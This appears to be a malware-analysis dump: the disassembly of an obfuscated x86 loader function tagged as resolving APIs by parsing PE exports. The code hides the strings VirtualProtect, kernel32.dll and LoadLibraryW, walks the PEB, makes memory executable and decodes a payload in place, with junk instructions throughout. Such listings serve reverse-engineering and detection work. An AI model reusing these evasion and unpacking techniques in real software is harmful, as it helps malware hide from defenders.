Function at 0x4478ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc edi
inc eax
inc ebx
dec edi
dec eax
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x446fb9
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x446fd0
mov ecx, dword [ebp - 0x198c]
mov dword [ebp - 0x510], ecx
jmp 0x446fe1
jmp 0x446dba
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push eax
push ebx
add esp, 4
add eax, 0xec15
call 0x447007
add byte [ebx], bh
inc edi
inc ebp
cmp eax, 0x49404350
xor al, byte [ebx - 0x377efb3c]
mov dh, 0xfe
add byte [eax], al
or eax, 0x1046f
pop eax
push edx
add edx, 0x182ab
pop edx
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push ebx
push edi
add esp, 4
xor ebx, 0x9959
pop ebx
push edx
push edx
add esp, 4
or edx, 0x17ac
or edx, 0xc52c
pop edx
push ecx
push esi
add esp, 4
add ecx, 0x9214
pop ecx
push ecx
add ecx, 0x14cce
pop ecx
cmp dword [ebp - 0x3e8], 0
je 0x447072
cmp dword [ebp - 0xab8], 0
jne 0x4470b8
push ecx
sub ecx, 0x37b0
add ecx, 0x1114c
jmp 0x447087
jmp 0x447090
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x9606
jmp 0x4470a3
pop ecx
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push esi
push ebx
add esp, 4
sub esi, 0x6f5
pop esi
push eax
add eax, 0xf1b3
xor eax, 0x1588d
pop eax
push ebx
push esi
add esp, 4
add ebx, 0x8df8
jmp 0x4470ed
add ebx, 0xd30f
pop ebx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push esi
push edx
add esp, 4
and esi, 0xf404
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xb46c
or ebx, 0xe825
pop ebx
push edi
and edi, 0x18086
add edi, 0x12a49
and edi, 0xe984
pop edi
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edx
push ebx
add esp, 4
or edx, 0xa9ba
pop edx
push ebx
and ebx, 0xa341
jmp 0x4471d2
or ebx, 0xe3b
jmp 0x4471dd
pop ebx
push edi
add edi, 0xd515
and edi, 0x2330
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edx
push esi
add esp, 4
xor edx, 0x94d1
sub edx, 0x6174
pop edx
push edx
push eax
add esp, 4
or edx, 0x17b20
xor edx, 0x126e4
pop edx
push esi
or esi, 0xd3da
and esi, 0xba22
pop esi
cmp dword [ebp - 0x1614], 0
jne 0x44725d
mov dword [ebp - 0x2fc], 0
jmp 0x447504
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push esi
sub esi, 0x1798c
sub esi, 0x16694
call 0x44728a
add byte [ebp + 0x35], al
dec edi
aaa
inc esp
inc esi
cmp dword [edi], esi
add esp, 4
call 0x44729d
add byte [edi + edi + 0x34], cl
xor cl, byte ds:[eax + 0x3b]
inc ecx
cmp al, byte [ebx - 0x7d]
les eax, [esi + ebx*2]
cmp dword [ebp - 0xcc4], 0
jne 0x4472b9
mov dword [ebp - 0x2fc], 0
jmp 0x447504
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push eax
xor eax, 0xe2e9
pop eax
push eax
sub eax, 0x135e4
pop eax
push edx
and edx, 0xe271
pop edx
push ecx
xor ecx, 0x455b
or ecx, 0x14f3d
xor ecx, 0x12a04
add ecx, 0x1251f
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push eax
add esp, 4
add edi, 0xed07
add edi, 0x15bc2
pop edi
push edx
or edx, 0x16057
xor edx, 0x114cc
pop edx
push ecx
push edx
add esp, 4
or ecx, 0x79a6
or ecx, 0xe6b4
pop ecx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push eax
push ebx
add esp, 4
call 0x4473bf
add byte [ebx], dh
inc ecx
cmp eax, 0x48344838
inc eax
cmp cl, byte [eax - 0x7d]
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [0x474b4743], bh
dec esp
dec esi
aaa
inc edx
dec ebx
add esp, 4
xor eax, 0x42c5
pop eax
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4473f9
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x447453
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x447321
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x447321
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x44743d
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x447447
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x44749c
push edi
push edx
add esp, 4
or edi, 0xce9a
or edi, 0xceae
xor edi, 0x1306c
pop edi
push edx
and edx, 0x8c24
xor edx, 0x7f
and edx, 0x12c5d
add edx, 0x11978
pop edx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x447504
push ebx
or ebx, 0xf62f
pop ebx
push ebx
push esi
add esp, 4
add ebx, 0x1062a
call 0x4474bd
add byte [eax + 0x36], dl
inc edi
dec eax
dec edi
cmp al, byte [edi + 0x39]
add esp, 4
jmp 0x4474c7
and ebx, 0x35f2
pop ebx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4474fa
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x4472c5
mov dword [ebp - 0x2fc], 0
push edi
push esi
add esp, 4
xor edi, 0x17c9b
pop edi
push eax
push ecx
add esp, 4
sub eax, 0xe071
pop eax
push ebx
xor ebx, 0xee68
or ebx, 0xfc08
xor ebx, 0xff24
add ebx, 0x14beb
pop ebx
cmp dword [ebp - 0x2fc], 0
jne 0x447e3b
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push esi
push ebx
add esp, 4
xor esi, 0x127b
or esi, 0x13158
add esi, 0x47d2
or esi, 0x2a12
pop esi
push ecx
sub ecx, 0x4ca8
pop ecx
push ebx
push esi
add esp, 4
sub ebx, 0x5d93
pop ebx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push eax
and eax, 0x7ace
call 0x4476a7
add byte [ecx + 0x46], al
cmp dl, byte [eax + 0x4d]
cmp dl, byte [eax + 0x39]
aas
add esp, 4
pop eax
push esi
push ecx
add esp, 4
xor esi, 0x14d54
add esi, 0x5f3b
and esi, 0x12ecf
pop esi
cmp dword [ebp - 0x1620], 0
jne 0x4476db
mov dword [ebp - 0x774], 0
jmp 0x447982
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push ecx
push edx
add esp, 4
and ecx, 0xe4b0
add ecx, 0x3455
pop ecx
push esi
jmp 0x447707
call 0x447715
add byte [ebx + 0x36], cl
dec ecx
inc eax
cmp byte [edx + 0x45], al
cmp dword [ebx - 0x97efb3c], eax
cmp eax, 0x5e0000e6
cmp dword [ebp - 0xcd0], 0
jne 0x447737
mov dword [ebp - 0x774], 0
jmp 0x447982
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push edx
push eax
add esp, 4
or edx, 0x692e
xor edx, 0x12730
pop edx
push ecx
push ecx
add esp, 4
xor ecx, 0xc6ab
and ecx, 0x2775
sub ecx, 0x3f53
pop ecx
push edx
xor edx, 0x411
pop edx
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push ecx
add esp, 4
sub ebx, 0x13952
xor ebx, 0x13698
and ebx, 0xb15a
pop ebx
push ebx
sub ebx, 0xd3ed
call 0x4477cd
add byte [edx + 0x3d], al
xor al, 0x37
xor edx, dword [eax + 0x3b]
dec edx
xor eax, 0x5b04c483
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push ebx
push edi
add esp, 4
or ebx, 0x4c6b
or ebx, 0x7b8f
call 0x447845
add byte [edx + 0x4f], cl
dec edi
dec edx
push eax
cmp dword [ebx + 0x9e804c4], eax
add byte [eax], al
add byte [eax], al
dec eax
dec eax
cmp dword [0x443a4a40], esi
add esp, 4
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x447877
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
jmp 0x4478d1
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x44779f
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x44779f
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4478bb
mov dword [ebp - 0x1624], 0xffffffff
jmp 0x4478c5
mov dword [ebp - 0x1624], 1
mov ecx, dword [ebp - 0x1624]
mov dword [ebp - 0x1668], ecx
cmp dword [ebp - 0x1668], 0
jne 0x44791a
push esi
xor esi, 0x16f94
call 0x4478ed
add byte [edx + 0x48], al
inc edx
xor al, 0x40
xor al, byte [ebx - 0x397efb3c]
push eax
aaa
add dword [eax], eax
or esi, 0x128fe
pop esi
push esi
jmp 0x447905
sub esi, 0x970d
pop esi
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x447982
push eax
push ebx
add esp, 4
call 0x44792e
add byte [esp + edi], dh
xor edi, dword [edi]
cmp al, 0x34
inc esp
inc edx
dec esi
add esp, 4
and eax, 0x15a0f
pop eax
push esi
or esi, 0x12335
pop esi
push ecx
push edi
add esp, 4
or ecx, 0xa651
pop ecx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x447978
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x447743
mov dword [ebp - 0x774], 0
push ecx
push edi
add esp, 4
call 0x447993
add byte [ebp + ecx*2 + 0x3b], al
inc esi
dec edi
dec ebp
add esp, 4
or ecx, 0x15151
call 0x4479aa
add byte [edx], bh
cmp byte [esi], dh
cmp eax, 0x39363b42
add esp, 4
and ecx, 0xa25f
pop ecx
cmp dword [ebp - 0x774], 0
jne 0x4479fe
push edi
push ecx
add esp, 4
and edi, 0x7dad
pop edi
push esi
call 0x4479d9
add byte [ebx + edi + 0x41], al
dec esp
cmp byte [edx + edi], dh
cmp ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
invalid
push ecx
or ecx, 0x16357
call 0x447a14
add byte [edi], bh
dec edi
inc edi
dec esp
inc ebx
dec ebx
inc eax
dec ebp
inc edi
add esp, 4
and ecx, 0x15a01
and ecx, 0x170e9
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x8201
pop eax
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x447a6f
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x447d60
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x447a97
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x447d60
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x447ac9
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x447d60
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x447aee
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x447d60
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19a4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
jmp 0x447b48
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x447d54
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x447bb8
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x447c6a
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x447c6a
push esi
call 0x447bf3
add byte [ebx + ecx*2], dh
cmp byte [ebx], bh
inc ebp
inc edx
cmp al, 0x83
les eax, [ecx + eax*4]
not byte [edi - 0x7effff05]
test byte [ebx - 9], 0
add byte [ecx + 0x13c37ee], al
add byte [esi + 0x51], bl
add ecx, 0xcbe4
add ecx, 0x171cc
pop ecx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x447c5c
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x447c63
jmp 0x447ba9
jmp 0x447c6a
push eax
call 0x447c7a
add byte [edi + eax*2 + 0x33], cl
dec edx
inc edx
dec esp
inc ebx
inc ebx
xor al, byte [ebx - 0x3f7efb3c]
mov cl, 0x83
add dword [eax], eax
jmp 0x447c8a
pop eax
push esi
sub esi, 0x15187
jmp 0x447c9b
pop esi
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x447cc9
mov dword [ebp - 0xcd4], 0
jmp 0x447d38
push edi
push ecx
add esp, 4
add edi, 0x172fc
cld
jb 0x447cd4
add byte [ecx + 0x4beacf], al
add byte [ecx + 0xe784c7], al
invalid
cmp dword [ebp - 0xcd4], 0
jne 0x447d4f
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x447d60
jmp 0x447b39
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x447e3b
push eax
xor eax, 0x13f8d
sub eax, 0x17c93
xor eax, 0x14fdc
and eax, 0x13786
pop eax
push ebx
jmp 0x447d8e
add ebx, 0x4376
pop ebx
push ecx
jmp 0x447d9e
pop ecx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19b4], ecx
push edi
xor edi, 0x95d4
jmp 0x447db7
and edi, 0x16e68
pop edi
push edx
push eax
add esp, 4
or edx, 0x1345b
pop edx
push edx
jmp 0x447dd4
pop edx
push esi
or esi, 0xe7e9
pop esi
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x19b8]
test eax, eax
jne 0x447e3b
push ecx
push ecx
add esp, 4
and ecx, 0x87ad
pop ecx
push esi
push ecx
add esp, 4
jmp 0x447e10
add esi, 0x125cb
call 0x447e22
add byte [esi + 0x48], cl
xor cl, byte [edx + 0x37]
inc ebp
add esp, 4
and esi, 0x13af2
pop esi
mov dword [ebp - 0xab4], 0
jmp 0x448526
push eax
push edx
add esp, 4
add eax, 0x11578
call 0x447e55
add byte [edi], dh
cmp al, 0x39
inc ecx
xor al, byte [esi + 0x4e]
inc edi
add esp, 4
xor eax, 0xd700
pop eax
push edx
or edx, 0x14f00
sub edx, 0x117b
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push esi
or esi, 0x7b61
pop esi
push ebx
jmp 0x447ea3
pop ebx
push edi
xor edi, 0x14571
call 0x447eb7
add byte [ecx + eax*2 + 0x3d], al
cmp al, 0x32
inc ebp
add esp, 4
xor edi, 0x1797f
and edi, 0x87a3
pop edi
cmp dword [ebp - 0x167c], 0
jne 0x447edf
mov dword [ebp - 0x2fc], 0
jmp 0x448186
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push ebx
call 0x447efe
add byte [ebp + 0x3b], al
dec esp
inc edx
dec esi
inc edi
add esp, 4
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0xbca8
or ecx, 0x5b2f
call 0x447f1f
add byte [edx + 0x42], al
xor dh, byte [edi]
dec esi
xor eax, dword [ebx - 0x7ca6fb3c]
mov ebp, 0xfffff320
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2fc], 0
jmp 0x448186
push edi
add edi, 0xa5ff
call 0x44819a
add byte [esi + 0x3f], al
aaa
cmp eax, 0xc4833547
add al, 0x81
mov dword [esi], 0x5f0000d3
push edi
or edi, 0x8780
sub edi, 0xf3c6
and edi, 0x3a96
pop edi
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push edx
push ebx
add esp, 4
jmp 0x4481d2
and edx, 0x6c88
pop edx
push edi
push ecx
add esp, 4
sub edi, 0xd683
pop edi
push eax
push ecx
add esp, 4
sub eax, 0x7197
pop eax
push eax
sub eax, 0x160b8
pop eax
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0
jne 0x448229
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x44851a
mov edx, dword [ebp - 0x1688]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x168c], eax
jne 0x448251
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x44851a
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x168c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x448283
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x44851a
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x788], ecx
jne 0x4482a8
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x44851a
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19c4], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19cc], edx
mov dword [ebp - 0x78c], 0
jmp 0x448302
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x44850e
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c4]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x19c8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19cc]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x448372
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x448424
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x448424
push ebx
and ebx, 0xb242
jmp 0x4483ac
and ebx, 0x16ad3
call 0x4483bf
add byte [edi], dh
inc ecx
inc ebp
inc esi
xor eax, dword [ebp + 0x50]
add esp, 4
pop ebx
push ecx
sub ecx, 0x15df6
add ecx, 0x10925
pop ecx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x448416
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x44841d
jmp 0x448363
jmp 0x448424
push edx
push ecx
add esp, 4
jmp 0x44842f
sub edx, 0x17a31
add edx, 0xe277
pop edx
push edx
add edx, 0xebe8
xor edx, 0xeda6
add edx, 0x2065
jmp 0x448455
pop edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
cmp ecx, eax
jne 0x448483
mov dword [ebp - 0xce4], 0
jmp 0x4484f2
push ecx
push esi
add esp, 4
jmp 0x44848d
call 0x44849a
add byte [edx + 0x45], al
xor al, 0x4a
inc ebp
xor al, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
shr dword [eax + edx + 0x53590001], 0xeb
pop es
inc edi
cmp dh, byte [esp + eax*2]
inc ecx
dec ecx
inc edi
or ebx, 0x9a67
pop ebx
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x4484e8
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x4484f2
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x448509
mov edx, dword [ebp - 0x19d0]
mov dword [ebp - 0x520], edx
jmp 0x44851a
jmp 0x4482f3
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xab4], ecx
push ecx
call 0x448534
add byte [edi], bh
cmp byte [eax + 0x4a], dl
aas
cmp byte [eax - 0x7d], dl
les eax, [ecx + ebx*2]
push ebx
sub ebx, 0x6d26
or ebx, 0xf5cc
sub ebx, 0x101a
pop ebx
push esi
push esi
add esp, 4
jmp 0x448557
pop esi
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19d4], edx
lea eax, [ebp - 0xce8]
push eax
push 0x40
mov ecx, dword [ebp - 0x1694]
push ecx
mov edx, dword [ebp - 0x3e8]
push edx
call dword [ebp - 0x19d4]
test eax, eax
jne 0x4485cb
push esi
and esi, 0x3d88
pop esi
push ecx
jmp 0x448594
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x1a0c
jmp 0x4485a8
xor eax, 0x14c50
jmp 0x4485b6
pop eax
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x19d8], eax
push 0
call dword [ebp - 0x19d8]
mov ecx, dword [ebp - 0x19dc]
mov dword [ebp - 0x798], ecx
jmp 0x4485e8
mov edx, dword [ebp - 0x798]
add edx, 1
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
cmp eax, dword [ebp - 0xab8]
jae 0x448644
push edi
push edx
add esp, 4
sub edi, 0xd1af
jmp 0x448609
or edi, 0x9bae
pop edi
push eax
push ecx
add esp, 4
call 0x448624
add byte [ecx], bh
cmp cl, byte [esi + 0x36]
dec edx
inc edi
xor al, 0x49
dec esi
add esp, 4
pop eax
movzx ecx, byte [ebp - 0x3ae]
mov edx, dword [ebp - 0x798]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x798]
mov byte [ecx], al
jmp 0x4485d9
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0x19e0], edx
lea eax, [ebp - 0xce8]
push eax
mov ecx, dword [ebp - 0xce8]
